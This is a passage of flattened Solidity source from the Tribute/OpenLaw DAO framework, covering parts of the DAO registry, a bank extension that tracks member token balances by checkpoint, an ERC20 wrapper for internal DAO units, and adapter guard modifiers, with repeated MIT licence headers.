ACL flag to check against the given address */ function hasAdapterAccess(address adapterAddress, AclFlag flag) public view returns (bool) { return getFlag(inverseAdapters[adapterAddress].acl, uint8(flag)); } /** * @notice Checks if an adapter has a given ACL flag * @return Whether or not the given adapter has the given flag set * @param adapterAddress The address to look up * @param flag The ACL flag to check against the given address */ function hasAdapterAccessToExtension( address adapterAddress, address extensionAddress, uint8 flag ) public view returns (bool) { return isAdapter(adapterAddress) && getFlag( inverseExtensions[extensionAddress].acl[adapterAddress], uint8(flag) ); } /** * @return The address of a given adapter ID * @param adapterId The ID to look up */ function getAdapterAddress(bytes32 adapterId) external view returns (address) { require(adapters[adapterId] != address(0), "adapter not found"); return adapters[adapterId]; } /** * @return The address of a given extension Id * @param extensionId The ID to look up */ function getExtensionAddress(bytes32 extensionId) external view returns (address) { require(extensions[extensionId] != address(0), "extension not found"); return extensions[extensionId]; } /** * PROPOSALS */ /** * @notice Submit proposals to the DAO registry */ function submitProposal(bytes32 proposalId) public hasAccess(this, AclFlag.SUBMIT_PROPOSAL) { require(proposalId != bytes32(0), "invalid proposalId"); require( !getProposalFlag(proposalId, ProposalFlag.EXISTS), "proposalId must be unique" ); proposals[proposalId] = Proposal(msg.sender, 1); // 1 means that only the first flag is being set i.e. EXISTS emit SubmittedProposal(proposalId, 1); } /** * @notice Sponsor proposals that were submitted to the DAO registry * @dev adds SPONSORED to the proposal flag * @param proposalId The ID of the proposal to sponsor * @param sponsoringMember The member who is sponsoring the proposal */ function sponsorProposal( bytes32 proposalId, address sponsoringMember, address votingAdapterAddr ) external onlyMember2(this, sponsoringMember) { // also checks if the flag was already set Proposal storage proposal = _setProposalFlag(proposalId, ProposalFlag.SPONSORED); uint256 flags = proposal.flags; require( proposal.adapterAddress == msg.sender, "only the adapter that submitted the proposal can process it" ); require( !getFlag(flags, uint8(ProposalFlag.PROCESSED)), "proposal already processed" ); votingAdapter[proposalId] = votingAdapterAddr; emit SponsoredProposal(proposalId, flags, votingAdapterAddr); } /** * @notice Mark a proposal as processed in the DAO registry * @param proposalId The ID of the proposal that is being processed */ function processProposal(bytes32 proposalId) external { Proposal storage proposal = _setProposalFlag(proposalId, ProposalFlag.PROCESSED); require(proposal.adapterAddress == msg.sender, "err::adapter mismatch"); uint256 flags = proposal.flags; emit ProcessedProposal(proposalId, flags); } /** * @notice Sets a flag of a proposal * @dev Reverts if the proposal is already processed * @param proposalId The ID of the proposal to be changed * @param flag The flag that will be set on the proposal */ function _setProposalFlag(bytes32 proposalId, ProposalFlag flag) internal returns (Proposal storage) { Proposal storage proposal = proposals[proposalId]; uint256 flags = proposal.flags; require( getFlag(flags, uint8(ProposalFlag.EXISTS)), "proposal does not exist for this dao" ); require( proposal.adapterAddress == msg.sender, "only the adapter that submitted the proposal can set its flag" ); require(!getFlag(flags, uint8(flag)), "flag already set"); flags = setFlag(flags, uint8(flag), true); proposals[proposalId].flags = flags; return proposals[proposalId]; } /* * MEMBERS */ /** * @return Whether or not a given address is a member of the DAO. * @dev it will resolve by delegate key, not member address. * @param addr The address to look up */ function isMember(address addr) public view returns (bool) { address memberAddress = memberAddressesByDelegatedKey[addr]; return getMemberFlag(memberAddress, MemberFlag.EXISTS); } /** * @return Whether or not a flag is set for a given proposal * @param proposalId The proposal to check against flag * @param flag The flag to check in the proposal */ function getProposalFlag(bytes32 proposalId, ProposalFlag flag) public view returns (bool) { return getFlag(proposals[proposalId].flags, uint8(flag)); } /** * @return Whether or not a flag is set for a given member * @param memberAddress The member to check against flag * @param flag The flag to check in the member */ function getMemberFlag(address memberAddress, MemberFlag flag) public view returns (bool) { return getFlag(members[memberAddress].flags, uint8(flag)); } function getNbMembers() public view returns (uint256) { return _members.length; } function getMemberAddress(uint256 index) public view returns (address) { return _members[index]; } /** * @notice Updates the delegate key of a member * @param memberAddr The member doing the delegation * @param newDelegateKey The member who is being delegated to */ function updateDelegateKey(address memberAddr, address newDelegateKey) external hasAccess(this, AclFlag.UPDATE_DELEGATE_KEY) { require(newDelegateKey != address(0x0), "newDelegateKey cannot be 0"); // skip checks if member is setting the delegate key to their member address if (newDelegateKey != memberAddr) { require( // newDelegate must not be delegated to memberAddressesByDelegatedKey[newDelegateKey] == address(0x0), "cannot overwrite existing delegated keys" ); } else { require( memberAddressesByDelegatedKey[memberAddr] == address(0x0), "address already taken as delegated key" ); } Member storage member = members[memberAddr]; require( getFlag(member.flags, uint8(MemberFlag.EXISTS)), "member does not exist" ); // Reset the delegation of the previous delegate memberAddressesByDelegatedKey[ getCurrentDelegateKey(memberAddr) ] = address(0x0); memberAddressesByDelegatedKey[newDelegateKey] = memberAddr; _createNewDelegateCheckpoint(memberAddr, newDelegateKey); emit UpdateDelegateKey(memberAddr, newDelegateKey); } /** * Public read-only functions */ /** * @param checkAddr The address to check for a delegate * @return the delegated address or the checked address if it is not a delegate */ function getAddressIfDelegated(address checkAddr) public view returns (address) { address delegatedKey = memberAddressesByDelegatedKey[checkAddr]; return delegatedKey == address(0x0) ? checkAddr : delegatedKey; } /** * @param memberAddr The member whose delegate will be returned * @return the delegate key at the current time for a member */ function getCurrentDelegateKey(address memberAddr) public view returns (address) { uint32 nCheckpoints = numCheckpoints[memberAddr]; return nCheckpoints > 0 ? checkpoints[memberAddr][nCheckpoints - 1].delegateKey : memberAddr; } /** * @param memberAddr The member address to look up * @return The delegate key address for memberAddr at the second last checkpoint number */ function getPreviousDelegateKey(address memberAddr) public view returns (address) { uint32 nCheckpoints = numCheckpoints[memberAddr]; return nCheckpoints > 1 ? checkpoints[memberAddr][nCheckpoints - 2].delegateKey : memberAddr; } /** * @notice Determine the prior number of votes for an account as of a block number * @dev Block number must be a finalized block or else this function will revert to prevent misinformation. * @param memberAddr The address of the account to check * @param blockNumber The block number to get the vote balance at * @return The number of votes the account had as of the given block */ function getPriorDelegateKey(address memberAddr, uint256 blockNumber) external view returns (address) { require( blockNumber < block.number, "Uni::getPriorDelegateKey: not yet determined" ); uint32 nCheckpoints = numCheckpoints[memberAddr]; if (nCheckpoints == 0) { return memberAddr; } // First check most recent balance if ( checkpoints[memberAddr][nCheckpoints - 1].fromBlock <= blockNumber ) { return checkpoints[memberAddr][nCheckpoints - 1].delegateKey; } // Next check implicit zero balance if (checkpoints[memberAddr][0].fromBlock > blockNumber) { return memberAddr; } uint32 lower = 0; uint32 upper = nCheckpoints - 1; while (upper > lower) { uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow DelegateCheckpoint memory cp = checkpoints[memberAddr][center]; if (cp.fromBlock == blockNumber) { return cp.delegateKey; } else if (cp.fromBlock < blockNumber) { lower = center; } else { upper = center - 1; } } return checkpoints[memberAddr][lower].delegateKey; } /** * @notice Creates a new delegate checkpoint of a certain member * @param member The member whose delegate checkpoints will be added to * @param newDelegateKey The delegate key that will be written into the new checkpoint */ function _createNewDelegateCheckpoint( address member, address newDelegateKey ) internal { uint32 nCheckpoints = numCheckpoints[member]; if ( nCheckpoints > 0 && checkpoints[member][nCheckpoints - 1].fromBlock == block.number ) { checkpoints[member][nCheckpoints - 1].delegateKey = newDelegateKey; } else { checkpoints[member][nCheckpoints] = DelegateCheckpoint( uint96(block.number), newDelegateKey ); numCheckpoints[member] = nCheckpoints + 1; } } } // File: /Users/davidroon/projects/tribute-contracts/contracts/extensions/IExtension.sol pragma solidity ^0.8.0; import "../core/DaoRegistry.sol"; // SPDX-License-Identifier: MIT /** MIT License Copyright (c) 2020 Openlaw Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ interface IExtension { function initialize(DaoRegistry dao, address creator) external; } // File: /Users/davidroon/projects/tribute-contracts/contracts/extensions/bank/Bank.sol pragma solidity ^0.8.0; // SPDX-License-Identifier: MIT import "../../core/DaoConstants.sol"; import "../../core/DaoRegistry.sol"; import "../IExtension.sol"; import "../../guards/AdapterGuard.sol"; import "@openzeppelin/contracts/utils/Address.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; /** MIT License Copyright (c) 2020 Openlaw Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ contract BankExtension is DaoConstants, AdapterGuard, IExtension { using Address for address payable; using SafeERC20 for IERC20; uint8 public maxExternalTokens; // the maximum number of external tokens that can be stored in the bank bool public initialized = false; // internally tracks deployment under eip-1167 proxy pattern DaoRegistry public dao; enum AclFlag { ADD_TO_BALANCE, SUB_FROM_BALANCE, INTERNAL_TRANSFER, WITHDRAW, EXECUTE, REGISTER_NEW_TOKEN, REGISTER_NEW_INTERNAL_TOKEN, UPDATE_TOKEN } modifier noProposal { require(dao.lockedAt() < block.number, "proposal lock"); _; } /// @dev - Events for Bank event NewBalance(address member, address tokenAddr, uint160 amount); event Withdraw(address account, address tokenAddr, uint160 amount); /* * STRUCTURES */ struct Checkpoint { // A checkpoint for marking number of votes from a given block uint96 fromBlock; uint160 amount; } address[] public tokens; address[] public internalTokens; // tokenAddress => availability mapping(address => bool) public availableTokens; mapping(address => bool) public availableInternalTokens; // tokenAddress => memberAddress => checkpointNum => Checkpoint mapping(address => mapping(address => mapping(uint32 => Checkpoint))) public checkpoints; // tokenAddress => memberAddress => numCheckpoints mapping(address => mapping(address => uint32)) public numCheckpoints; /// @notice Clonable contract must have an empty constructor // constructor() { // } modifier hasExtensionAccess(AclFlag flag) { require( address(this) == msg.sender || address(dao) == msg.sender || dao.state() == DaoRegistry.DaoState.CREATION || dao.hasAdapterAccessToExtension( msg.sender, address(this), uint8(flag) ), "bank::accessDenied" ); _; } /** * @notice Initialises the DAO * @dev Involves initialising available tokens, checkpoints, and membership of creator * @dev Can only be called once * @param creator The DAO's creator, who will be an initial member */ function initialize(DaoRegistry _dao, address creator) external override { require(!initialized, "bank already initialized"); require(_dao.isMember(creator), "bank::not member"); dao = _dao; initialized = true; availableInternalTokens[UNITS] = true; internalTokens.push(UNITS); availableInternalTokens[MEMBER_COUNT] = true; internalTokens.push(MEMBER_COUNT); uint256 nbMembers = _dao.getNbMembers(); for (uint256 i = 0; i < nbMembers; i++) { addToBalance(_dao.getMemberAddress(i), MEMBER_COUNT, 1); } _createNewAmountCheckpoint(creator, UNITS, 1); _createNewAmountCheckpoint(TOTAL, UNITS, 1); } function withdraw( address payable member, address tokenAddr, uint256 amount ) external hasExtensionAccess(AclFlag.WITHDRAW) { require( balanceOf(member, tokenAddr) >= amount, "bank::withdraw::not enough funds" ); subtractFromBalance(member, tokenAddr, amount); if (tokenAddr == ETH_TOKEN) { member.sendValue(amount); } else { IERC20 erc20 = IERC20(tokenAddr); erc20.safeTransfer(member, amount); } emit Withdraw(member, tokenAddr, uint160(amount)); } /** * @return Whether or not the given token is an available internal token in the bank * @param token The address of the token to look up */ function isInternalToken(address token) external view returns (bool) { return availableInternalTokens[token]; } /** * @return Whether or not the given token is an available token in the bank * @param token The address of the token to look up */ function isTokenAllowed(address token) public view returns (bool) { return availableTokens[token]; } /** * @notice Sets the maximum amount of external tokens allowed in the bank * @param maxTokens The maximum amount of token allowed */ function setMaxExternalTokens(uint8 maxTokens) external { require(!initialized, "bank already initialized"); require( maxTokens > 0 && maxTokens <= MAX_TOKENS_GUILD_BANK, "max number of external tokens should be (0,200)" ); maxExternalTokens = maxTokens; } /* * BANK */ /** * @notice Registers a potential new token in the bank * @dev Can not be a reserved token or an available internal token * @param token The address of the token */ function registerPotentialNewToken(address token) external hasExtensionAccess(AclFlag.REGISTER_NEW_TOKEN) { require(isNotReservedAddress(token), "reservedToken"); require(!availableInternalTokens[token], "internalToken"); require( tokens.length <= maxExternalTokens, "exceeds the maximum tokens allowed" ); if (!availableTokens[token]) { availableTokens[token] = true; tokens.push(token); } } /** * @notice Registers a potential new internal token in the bank * @dev Can not be a reserved token or an available token * @param token The address of the token */ function registerPotentialNewInternalToken(address token) external hasExtensionAccess(AclFlag.REGISTER_NEW_INTERNAL_TOKEN) { require(isNotReservedAddress(token), "reservedToken"); require(!availableTokens[token], "availableToken"); if (!availableInternalTokens[token]) { availableInternalTokens[token] = true; internalTokens.push(token); } } function updateToken(address tokenAddr) external hasExtensionAccess(AclFlag.UPDATE_TOKEN) { require(isTokenAllowed(tokenAddr), "token not allowed"); uint256 totalBalance = balanceOf(TOTAL, tokenAddr); uint256 realBalance; if (tokenAddr == ETH_TOKEN) { realBalance = address(this).balance; } else { IERC20 erc20 = IERC20(tokenAddr); realBalance = erc20.balanceOf(address(this)); } if (totalBalance < realBalance) { addToBalance(GUILD, tokenAddr, realBalance - totalBalance); } else if (totalBalance > realBalance) { uint256 tokensToRemove = totalBalance - realBalance; uint256 guildBalance = balanceOf(GUILD, tokenAddr); if (guildBalance > tokensToRemove) { subtractFromBalance(GUILD, tokenAddr, tokensToRemove); } else { subtractFromBalance(GUILD, tokenAddr, guildBalance); } } } /** * Public read-only functions */ /** * Internal bookkeeping */ /** * @return The token from the bank of a given index * @param index The index to look up in the bank's tokens */ function getToken(uint256 index) external view returns (address) { return tokens[index]; } /** * @return The amount of token addresses in the bank */ function nbTokens() external view returns (uint256) { return tokens.length; } /** * @return All the tokens registered in the bank. */ function getTokens() external view returns (address[] memory) { return tokens; } /** * @return The internal token at a given index * @param index The index to look up in the bank's array of internal tokens */ function getInternalToken(uint256 index) external view returns (address) { return internalTokens[index]; } /** * @return The amount of internal token addresses in the bank */ function nbInternalTokens() external view returns (uint256) { return internalTokens.length; } /** * @notice Adds to a member's balance of a given token * @param member The member whose balance will be updated * @param token The token to update * @param amount The new balance */ function addToBalance( address member, address token, uint256 amount ) public payable hasExtensionAccess(AclFlag.ADD_TO_BALANCE) { require( availableTokens[token] || availableInternalTokens[token], "unknown token address" ); uint256 newAmount = balanceOf(member, token) + amount; uint256 newTotalAmount = balanceOf(TOTAL, token) + amount; _createNewAmountCheckpoint(member, token, newAmount); _createNewAmountCheckpoint(TOTAL, token, newTotalAmount); } /** * @notice Remove from a member's balance of a given token * @param member The member whose balance will be updated * @param token The token to update * @param amount The new balance */ function subtractFromBalance( address member, address token, uint256 amount ) public hasExtensionAccess(AclFlag.SUB_FROM_BALANCE) { uint256 newAmount = balanceOf(member, token) - amount; uint256 newTotalAmount = balanceOf(TOTAL, token) - amount; _createNewAmountCheckpoint(member, token, newAmount); _createNewAmountCheckpoint(TOTAL, token, newTotalAmount); } /** * @notice Make an internal token transfer * @param from The member who is sending tokens * @param to The member who is receiving tokens * @param amount The new amount to transfer */ function internalTransfer( address from, address to, address token, uint256 amount ) public hasExtensionAccess(AclFlag.INTERNAL_TRANSFER) { uint256 newAmount = balanceOf(from, token) - amount; uint256 newAmount2 = balanceOf(to, token) + amount; _createNewAmountCheckpoint(from, token, newAmount); _createNewAmountCheckpoint(to, token, newAmount2); } /** * @notice Returns an member's balance of a given token * @param member The address to look up * @param tokenAddr The token where the member's balance of which will be returned * @return The amount in account's tokenAddr balance */ function balanceOf(address member, address tokenAddr) public view returns (uint160) { uint32 nCheckpoints = numCheckpoints[tokenAddr][member]; return nCheckpoints > 0 ? checkpoints[tokenAddr][member][nCheckpoints - 1].amount : 0; } /** * @notice Determine the prior number of votes for an account as of a block number * @dev Block number must be a finalized block or else this function will revert to prevent misinformation. * @param account The address of the account to check * @param blockNumber The block number to get the vote balance at * @return The number of votes the account had as of the given block */ function getPriorAmount( address account, address tokenAddr, uint256 blockNumber ) external view returns (uint256) { require( blockNumber < block.number, "Uni::getPriorAmount: not yet determined" ); uint32 nCheckpoints = numCheckpoints[tokenAddr][account]; if (nCheckpoints == 0) { return 0; } // First check most recent balance if ( checkpoints[tokenAddr][account][nCheckpoints - 1].fromBlock <= blockNumber ) { return checkpoints[tokenAddr][account][nCheckpoints - 1].amount; } // Next check implicit zero balance if (checkpoints[tokenAddr][account][0].fromBlock > blockNumber) { return 0; } uint32 lower = 0; uint32 upper = nCheckpoints - 1; while (upper > lower) { uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow Checkpoint memory cp = checkpoints[tokenAddr][account][center]; if (cp.fromBlock == blockNumber) { return cp.amount; } else if (cp.fromBlock < blockNumber) { lower = center; } else { upper = center - 1; } } return checkpoints[tokenAddr][account][lower].amount; } /** * @notice Creates a new amount checkpoint for a token of a certain member * @dev Reverts if the amount is greater than 2**64-1 * @param member The member whose checkpoints will be added to * @param token The token of which the balance will be changed * @param amount The amount to be written into the new checkpoint */ function _createNewAmountCheckpoint( address member, address token, uint256 amount ) internal { bool isValidToken = false; if (availableInternalTokens[token]) { require( amount < type(uint88).max, "token amount exceeds the maximum limit for internal tokens" ); isValidToken = true; } else if (availableTokens[token]) { require( amount < type(uint160).max, "token amount exceeds the maximum limit for external tokens" ); isValidToken = true; } uint160 newAmount = uint160(amount); require(isValidToken, "token not registered"); uint32 nCheckpoints = numCheckpoints[token][member]; if ( nCheckpoints > 0 && checkpoints[token][member][nCheckpoints - 1].fromBlock == block.number ) { checkpoints[token][member][nCheckpoints - 1].amount = newAmount; } else { checkpoints[token][member][nCheckpoints] = Checkpoint( uint96(block.number), newAmount ); numCheckpoints[token][member] = nCheckpoints + 1; } emit NewBalance(member, token, newAmount); } } // File: /Users/davidroon/projects/tribute-contracts/contracts/extensions/token/erc20/ERC20TokenExtension.sol pragma solidity ^0.8.0; // SPDX-License-Identifier: MIT import "../../../core/DaoRegistry.sol"; import "../../../core/DaoConstants.sol"; import "../../../guards/AdapterGuard.sol"; import "../../../utils/PotentialNewMember.sol"; import "../../IExtension.sol"; import "../../bank/Bank.sol"; import "@openzeppelin/contracts/utils/Address.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import "@openzeppelin/contracts/utils/Context.sol"; import "@openzeppelin/contracts/access/AccessControlEnumerable.sol"; import "@openzeppelin/contracts/token/ERC20/extensions/ERC20Pausable.sol"; /** MIT License Copyright (c) 2020 Openlaw Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ /** * * The ERC20Extension is a contract to give erc20 functionality * to the internal token units held by DAO members inside the DAO itself. */ contract ERC20Extension is DaoConstants, AdapterGuard, PotentialNewMember, IExtension, IERC20 { // The DAO address that this extension belongs to DaoRegistry public dao; // The custom configuration to set the transfer type, e.g: // (0: transfers are enabled only between dao members) // (1: transfers are enabled between dao members and external accounts) // (2: all transfers are paused) bytes32 public constant ERC20_EXT_TRANSFER_TYPE = keccak256("erc20ExtTransferType"); // Internally tracks deployment under eip-1167 proxy pattern bool public initialized = false; // The token address managed by the DAO that tracks the internal transfers address public tokenAddress; // The name of the token managed by the DAO string public tokenName; // The symbol of the token managed by the DAO string public tokenSymbol; // The number of decimals of the token managed by the DAO uint8 public tokenDecimals; // Tracks all the token allowances: owner => spender => amount mapping(address => mapping(address => uint256)) private _allowances; /// @notice Clonable contract must have an empty constructor // constructor() {} /** * @notice Initializes the extension with the DAO that it belongs to, * and checks if the parameters were set. * @param _dao The address of the DAO that owns the extension. * @param creator The owner of the DAO and Extension that is also a member of the DAO. */ function initialize(DaoRegistry _dao, address creator) external override { require(!initialized, "already initialized"); require(_dao.isMember(creator), "not a member"); require(tokenAddress != address(0x0), "missing token address"); require(bytes(tokenName).length != 0, "missing token name"); require(bytes(tokenSymbol).length != 0, "missing token symbol"); initialized = true; dao = _dao; } /** * @dev Returns the token address managed by the DAO that tracks the * internal transfers. */ function token() public view virtual returns (address) { return tokenAddress; } /** * @dev Sets the token address if the extension is not initialized, * not reserved and not zero. */ function setToken(address _tokenAddress) external { require(!initialized, "already initialized"); require(_tokenAddress != address(0x0), "invalid token address"); require( isNotReservedAddress(_tokenAddress), "token address already in use" ); tokenAddress = _tokenAddress; } /** * @dev Returns the name of the token. */ function name() public view virtual returns (string memory) { return tokenName; } /** * @dev Sets the name of the token if the extension is not initialized. */ function setName(string memory _name) external { require(!initialized, "already initialized"); tokenName = _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual returns (string memory) { return tokenSymbol; } /** * @dev Sets the token symbol if the extension is not initialized. */ function setSymbol(string memory _symbol) external { require(!initialized, "already initialized"); tokenSymbol = _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). */ function decimals() public view virtual returns (uint8) { return tokenDecimals; } /** * @dev Sets the token decimals if the extension is not initialized. */ function setDecimals(uint8 _decimals) external { require(!initialized, "already initialized"); tokenDecimals = _decimals; } /** * @dev Returns the amount of tokens in existence. */ function totalSupply() public view override returns (uint256) { BankExtension bank = BankExtension(dao.getExtensionAddress(BANK)); return bank.balanceOf(TOTAL, tokenAddress); } /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) public view override returns (uint256) { BankExtension bank = BankExtension(dao.getExtensionAddress(BANK)); return bank.balanceOf(account, tokenAddress); } /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * @param spender The address account that will have the units decremented. * @param amount The amount to decrement from the spender account. * @return a boolean value indicating whether the operation succeeded. * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) public override reentrancyGuard(dao) returns (bool) { address senderAddr = dao.getAddressIfDelegated(msg.sender); require( isNotZeroAddress(senderAddr), "ERC20: approve from the zero address" ); require( isNotZeroAddress(spender), "ERC20: approve to the zero address" ); require(dao.isMember(senderAddr), "sender is not a member"); require( isNotReservedAddress(spender), "spender can not be a reserved address" ); _allowances[senderAddr][spender] = amount; emit Approval(senderAddr, spender, amount); return true; } /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * @dev The transfer operation follows the DAO configuration specified * by the ERC20_EXT_TRANSFER_TYPE property. * @param recipient The address account that will have the units incremented. * @param amount The amount to increment in the recipient account. * @return a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) public override reentrancyGuard(dao) returns (bool) { address senderAddr = dao.getAddressIfDelegated(msg.sender); require( isNotZeroAddress(recipient), "ERC20: transfer to the zero address" ); BankExtension bank = BankExtension(dao.getExtensionAddress(BANK)); require( bank.balanceOf(senderAddr, tokenAddress) >= amount && amount > 0, "sender does not have units to transfer" ); uint256 transferType = dao.getConfiguration(ERC20_EXT_TRANSFER_TYPE); if (transferType == 0) { // members only transfer require(dao.isMember(recipient), "recipient is not a member"); bank.internalTransfer(senderAddr, recipient, tokenAddress, amount); emit Transfer(senderAddr, recipient, amount); return true; } else if (transferType == 1) { // external transfer require( isNotReservedAddress(recipient), "recipient address can not be reserved" ); bank.internalTransfer(senderAddr, recipient, tokenAddress, amount); potentialNewMember(recipient, dao, bank); emit Transfer(senderAddr, recipient, amount); return true; } else if (transferType == 2) { // closed/paused transfers return false; } return false; } /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * @dev The transfer operation follows the DAO configuration specified * by the ERC20_EXT_TRANSFER_TYPE property. * @param sender The address account that will have the units decremented. * @param recipient The address account that will have the units incremented. * @param amount The amount to decrement from the sender account. * @return a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) public override reentrancyGuard(dao) returns (bool) { require( isNotZeroAddress(recipient), "ERC20: transferFrom recipient can not be zero address" ); address senderAddr = dao.getAddressIfDelegated(sender); uint256 currentAllowance = _allowances[senderAddr][msg.sender]; //check if sender has approved msg.sender to spend amount require( currentAllowance >= amount, "ERC20: transfer amount exceeds allowance" ); BankExtension bank = BankExtension(dao.getExtensionAddress(BANK)); require( bank.balanceOf(senderAddr, tokenAddress) >= amount && amount > 0, "bank does not have enough units to transfer" ); uint256 transferType = dao.getConfiguration(ERC20_EXT_TRANSFER_TYPE); if (transferType == 0) { // members only transfer require(dao.isMember(recipient), "recipient is not a member"); _allowances[senderAddr][msg.sender] = currentAllowance - amount; bank.internalTransfer(senderAddr, recipient, tokenAddress, amount); emit Transfer(senderAddr, recipient, amount); return true; } else if (transferType == 1) { // external transfer _allowances[senderAddr][msg.sender] = currentAllowance - amount; require( isNotReservedAddress(recipient), "recipient address can not be reserved" ); bank.internalTransfer(senderAddr, recipient, tokenAddress, amount); potentialNewMember(recipient, dao, bank); emit Transfer(senderAddr, recipient, amount); return true; } else if (transferType == 2) { // closed/paused transfers return false; } return false; } } // File: /Users/davidroon/projects/tribute-contracts/contracts/guards/AdapterGuard.sol pragma solidity ^0.8.0; // SPDX-License-Identifier: MIT import "../core/DaoRegistry.sol"; import "../extensions/IExtension.sol"; /** MIT License Copyright (c) 2020 Openlaw Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ abstract contract AdapterGuard { /** * @dev Only registered adapters are allowed to execute the function call. */ modifier onlyAdapter(DaoRegistry dao) { require( (dao.state() == DaoRegistry.DaoState.CREATION && creationModeCheck(dao)) || dao.isAdapter(msg.sender), "onlyAdapter" ); _; } modifier reentrancyGuard(DaoRegistry dao) { require(dao.lockedAt() != block.number, "reentrancy guard"); dao.lockSession(); _; dao.unlockSession(); } modifier hasAccess(DaoRegistry dao, DaoRegistry.AclFlag flag) { require( (dao.state() == DaoRegistry.DaoState.CREATION && creationModeCheck(dao)) || dao.hasAdapterAccess(msg.sender, flag), "accessDenied" ); _; } function creationModeCheck(DaoRegistry dao) internal view returns (bool) { return dao.getNbMembers() == 0 || dao.isMember(msg.sender) || dao.isAdapter(msg.sender); } } // File: /Users/davidroon/projects/tribute-contracts/contracts/guards/MemberGuard.sol pragma solidity ^0.8.0; // SPDX-License-Identifier: MIT import "../core/DaoRegistry.sol"; import "../extensions/bank/Bank.sol"; /** MIT License Copyright (c) 2020 Openlaw Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT 